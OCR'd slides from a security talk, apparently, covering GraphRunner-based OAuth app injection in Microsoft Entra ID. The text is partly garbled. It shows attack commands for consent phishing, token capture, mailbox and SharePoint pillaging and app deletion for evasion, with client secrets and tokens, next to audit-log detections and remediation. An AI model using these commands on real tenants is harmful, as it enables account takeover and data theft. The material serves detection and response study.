Secret: eQD8Q~1ym8bVfxMKBqgs3bi31LIQODZV21.2-bal

et-AzureAppTokens -ClientId "@21ecfd7-f857-4dba-877b-085fbBbc7529b" -ClientSecret "eQD8Q~lym8bVfxMKBqggs3bi3
cess email User.Read User.ReadBasic.All Mail.Read Mail.Send Mail.Read.Shared Mail.Send.Shared Files.ReadWri

nelMessage.Edit ChannelMessage.Send Channel.ReadBasic.All Presence.Read.All Team.ReadBasic.All Team.Create
<insert your OAuth Code here>




[:f(johnébkali)-[lvarluuu]
$ "5d4a49ce-da25-4992-98a6-d7ca®9adc35c” -secret "ZMH8Q~gXSiiooBJISHC744~PmMa.8qjly2

python2 AutoOAuthFlow.py -cliepnt-id
NvuBaQM" -redirect-uri "https://34.118.170.49:8080" -scope "openid profile offline_access email User.Read User.ReadBasic.A

11 Mail.Read Mail.Send Mail.Read.Shared Mail.Send.Shared Files.ReadWrite.All EWS.AccessAsUser.All ChatMessage.Read ChatMes
sage.Send Chat.ReadWrite Chat.Create ChannelMessage.Edit ChannelMessage.Send Channel.ReadBasic.All Presence.Read.All Team.
ReadBasic.All Team.Create Sites.Manage.All Sites.Read.All Sites.ReadWrite.All Policy.Read.ConditionalAccess"

[*¥] If everything worked successfully this is the consent URL you can use to grant consent to the app:

https://login.microsoftonline.com/organizations/oauth2/v2.08/authorize?client_id=021ecfd7-f857-4dba-877
ery&scope=openid%2@profile®20offline_access%2@email¥%20User.Read%20User.ReadBasic.All%20Mail.Read¥%20Mai
ssage.Read¥%20ChatMessage.Send%20Chat .ReadWrite%20Chat.Create%20ChannelMessage.Edit¥%20ChannelMessage.Se
11%20Sites.Read.Al1%20Sites.ReadWrite.A11%20Policy.Read.ConditionalAccess&state=1234




Permission Scope Requested

» Create chats
BS Microsoft

Edit your channel messages

heather.glenn_admin@Ilunarstiiiness.com Send channel messages

Read the names and descriptions of channels

Permissions requested

R&D Project Fish

Read presence information of all users in your
organization

Read the names and descriptions of teams

This application is not published by Microsoft. Create teams

" " Create, edit, and delete items and lists in all your site
This app would like to: )
collections
Maintain access to data you have given it access to A : K A

- Read items in all site collections

Sign you in and read your profile Edit or delete items in all site collections

. 0 £ - «
Read all users’ basic profiles Read your organization's conditional access policies

Read your mail Access your mailboxes

Send mail as you

| Consent on behalf of your organization

Read mail you can access
Accepting these permissions means that you allow this app to use
your data as specified in their terms of service and privacy
statement. The publisher has not provided links to their terms
for you to review. You can change these permissions at
https://myapps.microsoft.com. Show details

Send mail on behalf of others or yourself
Have full access to all files you have access to

Read user chat messages
¥ g Does this app look suspicious? Report it here

Send chat messages

v
NV
Vv
v
AV
2 4
AV
AV
v
AV
v

Read and write your chat messages




1 OAuth Code:

2 0.AVKALUD-528HDEGE frbNWZGONM5IS1012pI ImKbXygmtw1z7AE0 . AABAATAAAAMOF fGtYXVRrNriQdPKIZ-
AgDs_wUA9P8eawsTgISMLFNdIx1qFVWWHIEQ-ON9YOqnCdX0feyDZ3bvPGQxu9IJjCrhfLU4DYIt2r5amNY@ThjrpLnWWXACH1NAVWXV2t0ceFTCH3yvEY8IQ9Grrd7Ya-xGIqwk-
Dqx8N3EThWilGSoF4GbvUUAubUmMmC-3WPE j9Ba4SyK-w8zTQ7BprD7dQrz8_cpuV7pToyhZ-3fcopspOeTNS40ibc5dGBSUeC]j1h1fgS3rQupEbBqjjwaioqBOsxW49nKKyX80c5tcfjFtmEaWdPPI6UUZM-
W9bEaY0giTkeo4d8uSgOF6zrFs6fIrADB7Cf9op0b7oNgXnjeeKQnUSZdIbWok7mBIUzqlvMgOtkz-NmkwnDj_JjN6Qq-SroDagrcoGl tvulP9inNugUmVFOhVnFdt-Dz63dL76DWUhFZZWK7XAX-
EVhHdiTMOg_fX69VRD11uWXGk2v7zU8ZBLgcrI5A230xIkaW9y2wFIzebT0j3W4Z8umxuifXNZV-kHII0-XBWPTOR-hE322KCIH3—erRxs36cmmdpuA_hirl-
pLbJsreG4cbLHsmhySk6QGASX fERWS1TOOCH8 JMNEpE6KZ60Fezte9PoyYMOY8ebWItNOO9_UKeEKbv3LG_ZSnMIbrqGeaXHBFiNk7HvgFVUTRpACO3TLL jAogqf3ZIzVr5VzyQpZzIATI6hZdc fewizkDAp-
Nj__u2rOFf3zr3kUPD7GnOYuLRYq5Nc4syd069zxQuCmYQIP55V j3eQuwuGSWAM62 LM4 fk1GiZH2711ICI4BP_Nfgsocl1wMc9AMEPfIMIPHXRFXq000y_o5i0og76vu5AK4gLEhseNhXFYivYULEjDarl-
O9NPU_etpF_Bjkw6VBs3bNQxb9bzfiFx_FLzetjzuORnHzfImowWgvMysC_HLr18Gz7iPuMQRPDrzre6hUR9ifguAOgLE7geKHRANHOES-mar7Yy-
_Rtfsu9i2rUgUsCUES5jziZAwtnEN4SokIYC6yUmyhNDb72NNoiI0F120CQ34h6ECFTUO_3ZA00n8ez_rOKW1eDGG4jhNEOWUF7ITrzv5aBOqlrLS1FFF3mB7Rt ThCR391YQ_F8sUxMy-
TuLKFQ34vhnKpXZ8 FWQFKSP1HXmzBoRTqIsNkWJ80YWB1QzrCweqe tuHXufLZXNDXw9-0BusMT8t-0g1SLCSWLXgcS5VIGtYSFCttceebiBOf2sPnsg

et-AzureAppTokens -ClientId "@21ecfd7-f857-4dba-877b-05fbebc7529b" -ClientSecret "eQD8Q~lym8bVfxMKBqgs3bi3
cess email User.Read User.ReadBasic.All Mail.Read Mail.Send Mail.Read.Shared Mail.Send.Shared Files.ReadWri
nelMessage.Edit ChannelMessage.Send Channel.ReadBasic.All Presence.Read.All Team.ReadBasic.All Team.Create
<insert your OAuth Code here>




[*] Successful authentication. Access and refresh tokens have been written to the élobal $apptokens variable.
Tokens $apptokens)

[*] You can use this command to refresh your tokens:
Invoke- RefreshAzureAppTokens -ClientId "@2lecfd7-f857-4dba-877b-05f e g:::::l.ReadBasic.All ChannelMessage.Edit ChannelMessage.Se
offline_access email User.Read User.ReadBasic.All Mail.Read Mail.Se Mail.Read.Shared Mail.Send Mail.Send.Shared openid Policy.R

Team.ReadBasic.All User.Read User.ReadBasic.All

reate ChannelMessage.Edit ChannelMessage.Send Channel.ReadBasic.Allxpires in : 3802
-RefreshToken "1.AVKAlUD-528HDEGEfrbNWZGONNTPHgIX-LpNh3sF-wvHUpY7AE . Sxpires_in : 3802

access_token : eyJleeXAiOiJKV1QiLCIub25jZSI6I1pWOF8SUHRDM2pOT21XRZNISMSZYmS|

3hFFOmJApwLD601fOW4yrZxgMy@yNRkGWRtO5Yb6GCODNUEKQAg1fjjD6BYC XS]z ;cla;:;:'Tlmmgtl)gggtgzgmmgggigéﬁm;»:g;mm?gma:

BUSZIbx74VOEMbIPCSZYQRX3k_Ju7BN2FyRSXxtGGuyd8X6-HVO1k4h10C9wuaYkv( mpHRHINL@JaMUFkaXROVESaNng1aUpxQ3c5QUIMVz IBd1pHOXRvaUpkakhi
I3prCpAU-DsBKYtmOpJBzTe2d6EoqcIiLrBKkQb_VQhih5wBSb3gncBqWDOFLYNH3ité AR 10 Tt R e Lo DL N ER L e celL

mdpdmVuX25hbWUiOiJIZWFeaGVyIiwiaWR@eXA10iJ1c2VyIiwiaWsfY29

alilbmZ2Ugp34ulocYZjggdBl3wN1J1rSPh7rgXUgSK0icMGD8S-_HZQNhUWvcOIri iMGE3LTk2YJQIHT CSNWMXMSTs ImoucHI1bV9zaWQi0i ITLTELNS@yHS0zM]

QTOwz1dhQ4r5GzSMYRSF29Rcrku WGBZalVEVA10StkylielsOFSZPN2ItEMXOYR] sl sy sl o sl s

GFyZWQgb3B1bmlkIFBvbGljeS5SZWFkLkNvbmRpdGlvbmFsQWNJZXNzIFB
uUmVhZEJhc21jLkFsbCBVc2VyL1J1YWQgVXN1ciSSZWFkQmMF zalMuQuxsIi|
130QSIsInR1bmFudF9yZWdpb25fc2NvcGUiniJOQSISINRpZCI6GIMU3: e
10iJoZwFeaGVyLmdsZWSuX2FkbWluQGx1bmFyc3RpaWluZXNzLmNvbSIsSIn|
TkwMzkOLTYSZjUtNDIzNy@SMTkwLTAXMjE3NZEGNWUXMCISImI3OWZiZjRK
pZHI1bCIGIFEGNCIsInhtc19zdCI6eylzdWIiOiI1IMEhOZKYyWGC2amp
hJdw3PI-EKM1-mVnY3Vu-CPVC8prgmGF21WhwEE84Xs1jNrd71jqWYiFtfk
mcdCLfd8NMQxqwxBc@NnDNGFNbFBFM-m@t-q_HHos@Vj3ei5j3PMDIRGHIX]
: 1.AVKAIUD-528HDEGgfrbNWZGONNfPHgIX-LpNh3sF-wvHUpv7AEJZAA . Ag|
ToE_3hFFOmJApWWLD6@1fOM4yrZxgMyeyNRKGWRtOS5YbE6GCODNUEKAELF
b2eexGMqYCOVgwouw-re43TBUSZIbx74VOEMbIPCSZYQRX3k_Ju7BN2FyRSX
RsKM20ImOugBv8wIvfRDr3zV7UnWiXxCzuYkUG-I3prCpAU-DsBKYtmOpJB)
4FjhgIECiD1qWMCcpohyt6Eiqjgh41GCID5XYgqHIULDXBIPPe@psOhdu4al
CAUiz6wa0JgijeuhalkGm6FDVbiWtw_qs7_wD8-vb2fMOvVD6AOXyx_RIFZ1
: eyJ@eXAiOiJKV1QiLCIhbGci0iJSUzIINIIsImtpZCI6I11UY2VPNU1KeX1
29mdG9ubGluZS5jb20vZTdmZ TQWOTUtMDC2Zi08MTBjLWEWN2UtYJZJZDUS)
AbHVUYXJzdGlpaWS1c3MuY29tIiwibmFtZSI6Ikh1YXRoZXIgR2x1bm4gKE
WSAbHVUYXJzdGlpaW51c3MuY29tIiwicmgiOiIxLkFWa@F sSVUQENTI4ASERF
i0iI1MEhOZKYyWGC2ampmNGtTSnBTR1owc1pvYkhxZHRDX3pyMHIyYOFidk
KQ4Mw6_FAe7BjIh-iCP07XSdIVNeN8GhyFBw_NUtu93RVAJI98ATIqa8SDRb:
GHOTVXxu7pQd9G-Qs3xotsCvGgBrKPXt_MA4pMf2HQQjMLGT4RC7tE231398

PS C:\GraphRunner> $apptokens




App Injection - Visibility

Invoke-InjectOAuthApp

Create Application with a set
a of permissions and a Reply

URL (web server)

Application, Service Principal, Secret Key
e Application name, permissions and attributes are logged

Azure AD Audit, Office 365 and Graph Activity Logs



App Injection - Visibility

Time is on the adversary’s side
No countdown clock like External Call

Keep the listener up and keep phishing

Mozilla/5.0 (Windows NT 10.0;
Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko)
Chrome/133.0.0.0 Safari/537.36

2025-02- @
07T20:58:32.000 heather.glenn_admin@lunarstiiiness.c
om - 35.208.161.65

UserLoggedin 35.208.161.65

2025-02-

Add delegated EvoSTS","Appld":"00000003-0000-

07T20:58:32.000 heather.glenn_admin@lunarstiiiness.c Dl Sian grank [Unknown] 0000-c000-000000000000
om - unknown resource
EvoSTS""Appld":"021ecfd7-f857-
2025-02- 4dba-877b-
07T20:58:32.000 heather.glenn_admin@lunarstiiiness.c  Add service principal. [Unknown] 05fb0bc7529b","AppOwnerOrganizat
om - R&D Project Fish ionld":"e7fe4095-076f-410c-a07e-
b6cd5991b434
2025-02- Add app role
07720:58:32.000 heather.glenn_admin@lunarstiiiness.c assignment grant to [Unknown] [Unknown]
om - AzureActiveDirectory user.
EvoSTS""Appld":"021ecfd7-f857-
2025-02- 7] s 4dba-877b-
07T20:58:32.000 heather.glenn_admin@lunarstiiiness.c B lcation [Unknown] 05fb0bc7529b","AppOwnerOrganizat

ionld":"e7fe4095-076f-410c-a07e-
b6cd5991b434

om - R&D Project Fish

2N

Entra ID

(Create Application with
Scope/Permissions)

Redirect to Sign-In to
EntraID
Prompt to Accept
Application/Permission

Scope

Unsuspecting
User



SN, T, |
it IV
e

Do service principals dream of electric sheep?

For usage information see the wiki here: https://github.com/dafthack/GraphRunner/wiki
To list GraphRunner modules run List-GraphRunnerModules

PS C:\GraphRunner> _

PRINCIPAL.IP RGET.RESOURCE.ATTRI

2025-02- Mozilla/5.0 (Windows NT 10.0; ::J:Ak:‘eo:?r]ement [Unknown]
07721:02:00.131 heather.glenn_admin - Sign-in activity 35.208.161.65 Microsoft Windows 10.0.14393; i tisﬁer:‘l by chiwinthe NonlinteractiveUser g
35.208.161.65 en-US) PowerShell/7.3.0 L/ SigninLogs resourceTenantld e7fe4095-076f-410c-a07e-b6cd5991b434

et resourceServicePrincipalld 89f845ca-836f-49e0-af27-d97bd85aasf8

[*] You can use this command to refresh your tokens:

Invoke-RefreshAzureAppTokens -ClientId "@21ecfd7-f857-4dba-877b-85fb@bc7529b" -ClientSecret "eQD8Q~1ym8bVFfxMK!
offline_access email User.Read User.ReadBasic.All Mail.Read Mail.Send Mail.Read.Shared Mail.Send.Shared Files
reate ChannelMessage Edit ChannelMessage.Send Channel.ReadBasic.All Presence.Read.All Team.ReadBasic.All Team
-RefreshToken "1.AVkAlUD-S528HDEGEfrbNWZGONNFPHgIX-LpNh3sF-wvHUpv7AEIZAA . AgABAWEAAABVrSpeulamRam2 jAF1XRQEAWDS
3hFFOmJApWwWLD601fOW4yrZxgMy@yNRKkGWRtO5Yb6GCODNUEKgAg1fjjD6BYCXxSjzT5wdVmI4DgbKu8C48hoi _HXiNjCtx_PcdBp2hbneLut
TBUSZIbx74VOEMbIPCSZYQRX3k_Ju7BN2FyRSXxtGGuyd8X6-HVO1k4h10CO9wuaYkvCDZECaX9d_mASFov1CUwjSXedNIWurqaTXMxDOGyK1S,
I3prCpAU-DsBKYtmOpJBzTe2d6EoqcILrBKkQb_VQhihS5wBSb3gncBgWDOFLYNH3it6poNyc2szmN6swbgnyywhNn3JEuvPwaEVBWIt4aNuCBy
aIilbmZ2Ugp34ulocYZjggdBl3wN1I1rSPh7rgXuUgSKeicMGD8S-_HZQNhUWvceIriJkougrOoshkL5x9jacEbbkg- MovCESRXaTFQmegIhaK
QT9wz1dhQ4rS5GzSMYRSF29Rcrku WGOZalV6VA10StkyWelsOfSZPN2ItEMxOYRIkwoT6kN3edCO xTV21tXDEo42dR7tyyACgl




Subsequent Graph Activity Logs - Application

TIMESTAMP

2025-02-
07722:31:00.200

EVENT METADATA.PRODUCT _E... PRINCIPAL.IP

. M ft Graph Activit 34.152.40.90
heather.glenn_admin (CICROI HEPIACUNILY =

NETWORK.HTTP.USER_AGENT TARGET.URL

Mozilla/5.0 (Windows NT 10.0; https://graph.microsoft.com/v1.0/users/hea
Microsoft Windows 10.0.14393; en- ther.glenn_admin@lunarstiiiness.com/mailF
US) PowerShell/7.3.0 olders/Inbox/messages?Stop=50

PRINCIPAL.RESOURCE.PRODUCT_O...

021ecfd7-f857-4dba-877b-05fb0bc7529b

Manage tenants What's new GF Preview features A7 Got feedback? v

@ To improve your experience, we're experimenting with your Home page. Click "Got feedback?" to tell us what you think.

Overview Monitoring Properties Recommendations

Setup guides

f857-4dba-877b-05fb0bc7529b)|

Users

No results.

Devices

No results.

Enterprise applications

' R&D Proje(t Fish 021ectd7-f857-4dba-877b-05fb0bc752%b

Groups

No results.

App registrations —————————————————————————————

R&D Project Fish 021ectd7-f857-4dba-877b-05fb0bc7529b

306 L —

No results.




Pillage

Accessing information stores
e Search User attributes
e Gather Last N messages from
Inbox
e Keyword Search of mailbox
e Keyword Search of SharePoint
and OneDrive

e MS Teams
e Immersive File Reader . “ -~ ﬂ ﬁﬁﬂl adladed e

-
> f _Jn-ﬂyﬁﬁm \




PS C:\GraphRunner> Get-Inbox $tokens -userid tim.smith_admin@lunarstiiiness.com -TotalMessages 500 -OutFile ./timmail.txt
[*] Using the provided access tokens.

Subject: We detected synchronization errors in your directory | Sender: MSSecurity-noreply@microsoft.com | Receivers: |
n your directory.

TIMESTAMP EVENT METADATA.PRODUCT _... PRINCIPAL.IP NETWORK.HTTP.METH.... NETWORK.HTTP.RESP... TARGET.URL NETWORK.HTTP.USER_AGENT

2025-02- https://graph.microsoft.com/v1.0/users/ | Mozilla/5.0 (Windows NT 10.0; Microsoft
07T17:43:46.407 = Microsoft Graph Activity 34.152.40.90 tim.smith_admin@lunarstiiiness.com/m | Windows 10.0.14393; en-US)

oI ailFolders/Inbox/messages?Stop=500 PowerShell/7.3.0

Rt (EmAIL_UNCATEGORIZED]
EMAIL_UNCATEGORIZED
07T17:43:45.000 MailltemsAccessed 20.190.139.173 [Unknown] [Unknown] [Unknown] Client=REST;;

[
ot (EAIL_UNCATEGORIZED]

EMAIL_UNCATEGORIZED

07T17:43:45.000 [ MailltemsAccessed 20.190.139.173 [Unknown] [Unknown] [Unknown] Client=REST;;

sk (EWAIL_UNCATEGORIZED]
EMAIL_UNCATEGORIZED
07T17:43:45.000 MailltemsAccessed 20.190.139.173 [Unknown] [Unknown] [Unknown] Client=REST;;

[

No Subject]
No Subject]
No Subject]
No Subject]

e (EVAIL_UnCATEGORIZED]
EMAIL_UNCATEGORIZED
07T17:43:45.000 [ MailltemsAccessed 20.190.139.173 [Unknown] [Unknown] [Unknown] Client=REST;;




Ul will be t

Mail Acce
Client Ag

TIMESTAMP

2025-02-
07T20:09:54.000

07T20:07:43.000

2025-02-
07T19:20:51.000

EVENT

[ EmaiL
[No Subject]

METADATA.PRO...

MailltemsAccessed

MailltemsAccessed

MailltemsAccessed

PRINCIPAL.IP

35.193.63.93

35.193.63.93

20.190.139.168

NETWORK.HTTP.USE...

Client=MSExchangeRPC

Client=OWA;Action=ViaPr
oxy

Client=REST;;

NETWORK.SESSION_ID

001f9dd9-3719-93b2-
9d2d-e257a31857d4

001f9dd9-b050-065b-
40e0-0a9cdc205456

001f76c9-4c1d-136¢-8dag
Te41b638aefd

SECURITY_RE...

MailAccessType
IsThrottled
RecordType

IsThrottled
RecordType
MailAccessType
IsThrottled
RecordType

SECURIT...
Sync

TARGET.L...

MailboxGuid
user_key

ClientAppld
user_key

MailboxGuid
ClientAppld
user_key

TARGET.LABELS.VALUE

6afa252e-8c1b-449e-9919-7a2ec03764d7
10032002333B5A86

00000002 0ff1-ce00-000000000000
10032002333B5A86

6afa252e-8c1b-449e-9919-7a2ec03764d7
d3590ed6-52b3-4102-aeff-aad2292ab01c
10032002333B5A86



https://www.cisa.gov/sites/default/files/2025-01/microsoft-expanded-cloud-logs-implementation-playbook-508c.pdf

PS C:\GraphRunner> Invoke-SearchSharePointAndOneDrive -Tokens $apptokens -searchterm 'filetype:pdf’

[*] Using the provided access tokens.

[*] Found 1@ matches for search term filetype:pdf

Result [0]

File Name: cloud-adoption-framework.pdf

Location: https://th7sz-my.sharepoint.com/personal/tim_smith_admin_lunarstiiiness_com/Documents/career/cloud-adoption-framework.pdf
reated Date: ©7/07/2023 13:25:14

Last Modified Date: 11/12/2018 14:58:57

Size: 2.35 MB

File Preview: The Google Cloud Adoption Framework Table of Contents Part 1: Executive summary A unified approach to the cloud . . .
>

DriveID & Item ID: b!_ButpAIGFkmM3xLHDXYhTHkvwlXfOyRDMDsuLr2IybkXSvirtCWQT6aTilveqlhz\ :01ESDSWM7YYDTFOAMU2VGIXZAMHXSGNAOL

1‘] Enter the result number(s) of the file(s) that you want to download. Ex. "@,10,24"

[*] Now downloading cloud-adoption-framework.pdf
[*] Do you want to download any more files? (Yes/No/All)
all

Invalid input. Please enter Yes or No.
[*] Do you want to download any more files? (Yes/No/All)

[*] Enter the result number(s) of the file(s) that you want to download. Ex. "@,10,24"
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17
[*] Now downloading Guidelines for Posting.pdf
[*] Now downloading Project-Brandenburg.pdf
[*] Now downloading Fuel Directory Providers.pdf
[*] Now downloading Guidelines for Posting.pdf
[*] Now downloading Project-Mirage.pdf
[*] Now downloading Propellant Fuel.pdf
*] Now downloading Guidelines for Posting.pdf
[*] Now downloading Guidelines for Posting.pdf
[*] Now downloading Guideli for Posti

request leb r t mple

request

request

request

request

request

request

request

request

request




TIMESTAMP

2025-02-
07T17:47:45.598

2025-02-
07T17:47:45.000

2025-02-
07T17:47:44.000
©

2025-02-
07T17:47:43.866

EVENT

NETWORK_HTTP

tim.smith_admin

[USER_RESOURCE_UPDATE_CONTENT
tim.smith_admin@lunarstiiiness.com -
Microsoft Office

[l ~LeRT | [USER_RESOURCE_UPDATE_CONTENT |
tim.smith_admin@lunarstiiiness.com -
Microsoft Office

NETWORK_HTTP

tim.smith_admin

METADAT...

Microsoft
Graph Activity

FileDownload
ed

FileDownload
ed

Microsoft
Graph Activity

PRINCIPAL.IP

34.152.40.90

34.152.40.90

34.152.40.90

34.152.40.90

NETWORK.H...

GET

[Unknown]

[Unknown]

GET

NETWOR...

302

[Unknown]

[Unknown]

302

TARGET.URL

SRC.FILE.FULL_PATH

https://graph.microsoft.com/v1.0/
drives/b!0GSFPOq-Gk-
JIzzUJ3N5pQohKfmPkaVDj8Mj1Ad
5ZxEMciSMjvJFQLVOtg4RxpJH/ite
ms/01URYOS5X73CDFTPYGXXVF3YG
BPW2XKTFO6/content

[Unknown]

[Unknown]

https://graph.microsoft.com/v1.0/
drives/b!zgfmwe2yg0evGgZIXejJY

S2TeU1glYJBrkwGFU4XRn4LptX_J
u96QIx7ctDfVfUa/items/01RMC50
30R66XFFGTYNZHZC4IAGJOINVNL
Jcontent

[Unknown]

Shared
Documents/Finance/2023-
Budget-Addendum-
062723.pdf

Shared
Documents/R&D/Structural
Integrity Notes.pdf

[Unknown]




PS C:\GraphRunner> Invoke-SearchMailbox $apptokens -searchterm password -messagecount 50

[*] Using the provided access tokens.

[*] Found 12 matches for search term password

Subject: Undeliverable: FW: [Resolved] WIN-ADFS: Password Hash Synchronization heartbeat was skipped in last 120
Exchange329e71ec88ae4615bbc36ab6ced41109e@th7sz.onmicrosoft.com | Receivers: Heather Glenn | Date: ©1/16/2025 04
beat was skipped in last 120 minutes. - You have an important message from the Microsoft Entra ID Error Details

Subject: Tim Smith (44 . - - - =flunarstiiiness.com |
n) shared with you. ith existing access.
[*] Downloading messages...
[*] Downloading Undeliverable_FW_Resolved WINADFS_Password_Hash_Synchronization_heartbeat
s You have an 1mportant message_ fr'om the Mlcrosoft Entra_ID
ethod xception: C: \Grathunner\Grathunner ps1:6003
$dateTime = [DateTime]::ParseExact($dateTimeString, "yyyy ..

th "3" argument(s):

TIMESTAMP EVENT METADATA.PR... PRINCIPAL.IP NETWORK.HTTP.USER_AGENT b TARGET.URL

2025-02- NEWORKIT Miciost Srabh Mozilla/5.0 (Windows NT 10.0; https://graph.microsoft.com/v1.0/me/messages/AAMKAGU2NDMwNWMxXLTY2NzEt
10T14:49:40.153 heather gl-enn =l Activity P Microsoft Windows 10.0.14393; en- NGQ4Yi05MzdhLTJNTMwM2RkZWQ3YgBGAAAAAAAC/gfChYNSSqNvBoSmZHT/BwC
' i US) PowerShell/7.3.0 UOg4TJI4ESJRyIRcfecEOAAAAAAEMAACUOgATJI4ES JRyIRcfec EOAAIECUUDAAA=

2025-02- Microsoft Graph v M?znllals.o_ MMom NT 10.0;

10T14:49:27.140 Microsoft Windows 10.0.14393; en- https://graph.microsoft.com/v1.0/search/query

heather.glenn_admin Activity US) PowerShell/7.3.0




TIMESTAMP
2025-02-
10T15:36:33.276

2025-02-
10T15:36:33.067

2025-02-
10T15:36:32.425

TIMESTAMP

2025-02-
10T15:36:31.000

EVENT

NETWORK_HTTP

heather.glenn_admin

NETWORK_HTTP

heather.glenn_admin

NETWORK_HTTP

heather.glenn_admin

(EMaIL_UI
[No Subject]

METADATA.P...

Microsoft Graph
Activity

Microsoft Graph
Activity

Microsoft Graph
Activity

METADATA.PRODUCT _...

MailltemsAccessed

PRINCIPAL.IP

34.152.40.90

34.152.40.90

34.152.40.90

20.190.139.173 Client=REST;;

NETWORK.HTTP.USER_AGENT

Mozilla/5.0 {(Windows NT 10.0; Microsoft
Windows 10.0.14393; en-US) PowerShell/7.3.0

Mozilla/5.0 (Windows NT 10.0; Microsoft
Windows 10.0.14393; en-US) PowerShell/7.3.0

Mozilla/5.0 (Windows NT 10.0; Microsoft
Windows 10.0.14393; en-US) PowerShell/7.3.0

PRINCIPAL.IP NETWORK.H... PRINCIPAL.USER.U...

heather.glenn_admin
@lunarstiiiness.com

TARGET.URL

https://graph.microsoft.com/v1.0/me/messages/AAMKAGU2NDMwNWMXxLTY2NzEtNGQ4Yi05MzdhLTJiNTMwM2RkZWQ3YgBG
AAAAAAAC-gfChYNsSqNvBoSmZHT7-BwCUOg4TII4ESJRyIRcfecEOAAAAAAEMAACU Og4TJI4ESJRyIRcfecEOAAGVWAVSAAA=

https://graph.microsoft.com/v1.0/me/messages/AAMKAGU2NDMwNWMxLTY2NzEtNGQ4Yi0o5MzdhLTJJNTMwM2RkZWQ3YgBG
AAAAAAAC-gfChYNsSqNvBoSmZHT7-BwCUOgATII4ESJRyIRcfecEOAAAAAAEMAACUOgATJIAES JRyIRcfecEOAAHD2TW2AAA=

https://graph.microsoft.com/v1.0/me/messages/AAMKAGU2NDMwNWMXxLTY2NzEtNGQ4YiO5SMzdhLTJJNTMwM2RkZWQ3YgBG
AAAAAAAC-gfChYNsSqNvBoSmZHT-BwCUOgATJI4ES JRyIRcfecEOAAAAAAEMAACU Og4TJI4ESJRyIRcfecEOAAIECUTIAAA=

TARGET.USER.USE... SECURITY_RE... SECURIT... TARGET.LA... TARGET.LABELS.VALUE

MailAccessType Bind MailboxGuid €64305¢1-6671-4d8b-937a-2¢5303dded7b
IsThrottled False ClientAppld 021ecfd7-f857-4dba-877b-05fb0bc7529b
RecordType 50 user_key 100320024FBEOB6D

heather.glenn_admin
@lunarstiiiness.com




Additional Functions

Defense Evasion
s
e Deletion of Applications, Groups and Removing | ==

Users from Groups

Utilities

File download

Spin up web basic web server for email viewing
Check access for token and import tokens
Listener for App Injection function

Test different client Ids for determine
permissions



Invoke-DeleteOAuthApp

Soft Delete of the Application

Can be found in the Deleted Applications section of App registrations

Object ID is provided when App Injection takes place - need this to delete the app
Recon Command Invoke-DumpApps contains Application (Client ID) but not Object ID

Office 365 & Azure AD Audit log the application deletion and the service principal

All applications Owned applications Deleted applications
0 If deleted for more than 30 days, app registrations cannot be restored and may be automatically permanently deleted.

Pr X ‘ T Add filters

i Delete permanently estore app registration
1 applications found
Display name T Application (client) ID Object ID Deleted date T

] n R&D Project Fish  021ecfd7-f857-4dba-877b-05fb0bc7529b  3786e006-1b3d-4d57-beel-2448db14b6b3 2/10/2025




PS C:\Windows\system32> Connect-MgGraph|-Scopes User.ReadWrite.All

lcome to Microsoft Graph!

onnected via delegated access using 14d82eec-204b-4c2f-b7e8-296a70@dab67e
Readme: https://aka.ms/graph/sdk/powershell

SDK Docs: https://aka.ms/graph/sdk/powershell/docs

API Docs: https://aka.ms/graph/docs

NOTE: You can use the -NoWelcome parameter to suppress this message.

PS C:\Windows\system32> $User = Get-MgUser -Search UserPrincipalName:'mike.slayt
vel eventual

PS C:\Windows\system32> Update-MgUser -Userld $User.Id -AccountEnabled:$false
PS C:\Windows\system32> Revoke-MgUserSignInSession -UserlId $User.Id



https://learn.microsoft.com/en-us/entra/identity-platform/refresh-tokens
https://learn.microsoft.com/en-us/entra/identity/users/users-revoke-access#access-tokens-and-refresh-tokens
https://learn.microsoft.com/en-us/entra/identity/conditional-access/concept-token-protection

T

TIMESTAMP

2025-02-
10T21:50:24.236

2025-02-
10721:50:24.222

2025-02-
10T21:50:24.221

2025-02-
10721:50:13.185

2025-02-
10721:50:13.165

2025-02-
10T21:50:13.164

2025-02-
10721:49:57.379

EVENT METADATA.PRO... TARGET.USER.US... TARGET.URL
https://graph.microsoft.com/v1.0/users/2f:
Microsoft Graph {Unknown] d09fc-1952-445f-9fcd-
tim.smith_admin Activity 5f4, i ft.graph ignl
nSessions
(USER_UNCATEGORIZED | [UPDATE USER ] mike.slayton@th7sz.
tim.smith_admin@lunarstiiiness.com - 35.193.63.93 MR onmicrosoft.com [Unknowb)
Update .
[USER_UNCATEGORIZED | [ UPDATE STSREFRESHTOKENVALIDFROM TIMESTAMP | mike.slayton@th7sz. [unh N
tim.smith_admin@lunarstiiiness.com - 35.193.63.93 idFrom Timestamp com
Microsoft Graph Uninown] https://graph.microsoft.com/v1.0/users/2f:
tim.smith_admin Activity d09fc-1952-445f-9fc4-e5f428f9a252
(USER_UNCATEGORIZED | [UPDATE USER ] mike.slayton@th7sz.
tim.smith_admin@lunarstiiiness.com - 35.193.63.93 L praiiEs onmicrosoft.com i
Disable account (e 2y [Unknown]

tim.smith_admin@lunarstiiiness.com - 35.193.63.93

NETWORK_HTTP

tim.smith_admin

Microsoft Graph
Activity

onmicrosoft.com

[Unknown]

https://graph.microsoft.com/v1.0/users?
$search=%22UserPrincij ik

SRC.RESOUR... SRC.RESOUR... TARGET.RESOURCE.ATTRIB... TARGET.RESOURCE.ATTRIBUTE.LABELS.VALUE
JTENANTS/ETFE4095-076F-410C-A07E-
i Cnksoan gestuelb B6CD5991B434/PROVIDERS/MICROSOFT.AADIAM
StsRefreshTokensValidFrom 2025-02-10T21:50:24.000
StsRefreshToken ~ 2024-02- 5 i
<ValidFrom 09T16:26:44.000 Included Updated Properties StsRefreshTokensValidFrom
Targetld.UserType Member
StsRefreshToken ~ 2024-02- StsRefreshTokensValidFrom 2025-02-10721:50:24.000
sValidFrom 09T16:26:44.000 Included Updated Properties StsRefreshTokensValidFrom
{Unk , {Unk : 0 JTENANTS/ETFE4095-076F-410C-AOTE-
B6CD5991B434/PROVIDERS/MICROSOFT.AADIAM
AccountEnabled false
Included Updated Properties AccountEnabled
AccountEnabled  true Actorld.ServicePrincipalNames ~ 14d82eec-204b-4c2f-b7e8-296a70dab67e
SPN 14d82eec-204b-4c2f-b7e8-296a70dab67e
Targetld.UserType Member
AccountEnabled false
AcountEnabledl tue Included Updated Properties AccountEnabled

slayton%40th7sz.onmicrosoft.com%22

Actorld.ServicePrincipalNames
SPN

Resource ID

14d82eec-204b-4c2f-b7e8-296a70dab67e
